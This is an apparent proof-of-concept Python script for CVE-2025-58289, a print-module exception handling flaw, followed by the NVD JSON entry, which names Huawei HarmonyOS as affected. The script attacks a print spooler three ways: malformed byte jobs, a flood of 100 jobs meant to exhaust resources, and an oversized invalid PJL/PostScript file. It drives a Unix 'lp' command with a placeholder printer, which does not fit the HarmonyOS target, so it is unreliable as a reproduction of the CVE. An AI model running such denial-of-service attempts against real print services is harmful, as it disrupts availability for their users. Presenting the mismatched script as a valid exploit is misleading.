CVE-2025-58289

# CVE-2025-58289 PoC - Improper Exception Handling in Print Module # This PoC demonstrates triggering improper exception handling in the print module import subprocess import sys import os import time def trigger_print_exception(): """ Trigger improper exception handling in the print module by sending malformed print jobs or causing resource exhaustion. """ print("[*] CVE-2025-58289 PoC - Print Module Exception Handling") print("[*] Attempting to trigger improper exception handling...") # Method 1: Send malformed print data try: # Create a malformed print job with invalid/corrupted data malformed_data = b"\x00" * 1024 + b"\xff" * 1024 # Attempt to send to print spooler/service result = subprocess.run( ["lp", "-d", "printer_name", "-"], input=malformed_data, capture_output=True, timeout=5 ) print(f"[*] Print job submitted, return code: {result.returncode}") except subprocess.TimeoutExpired: print("[!] Print service timed out - possible exception handling failure") except Exception as e: print(f"[!] Exception triggered: {e}") # Method 2: Trigger resource exhaustion in print queue try: for i in range(100): subprocess.Popen( ["lp", "-d", "printer_name", "/dev/null"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) print("[*] Multiple print jobs submitted to exhaust resources") except Exception as e: print(f"[!] Resource exhaustion triggered: {e}") # Method 3: Send invalid print format try: with open("/tmp/malformed_print_job.prn", "wb") as f: # Write invalid PCL/PostScript commands f.write(b"\x1b%-12345X@PJL\r\n@PJL INVALID COMMAND\r\n") f.write(b"%!PS-Adobe-3.0\n%%Invalid: " + b"A" * 65536) subprocess.run(["lp", "/tmp/malformed_print_job.prn"], timeout=5) print("[*] Malformed print job submitted") except Exception as e: print(f"[!] Exception in print processing: {e}") if __name__ == "__main__": trigger_print_exception()

{"cve": {"id": "CVE-2025-58289", "sourceIdentifier": "[email protected]", "published": "2025-10-11T10:15:43.083", "lastModified": "2025-10-16T15:23:00.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability of improper exception handling in the print module. Successful exploitation of this vulnerability may affect availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-840"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/10/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}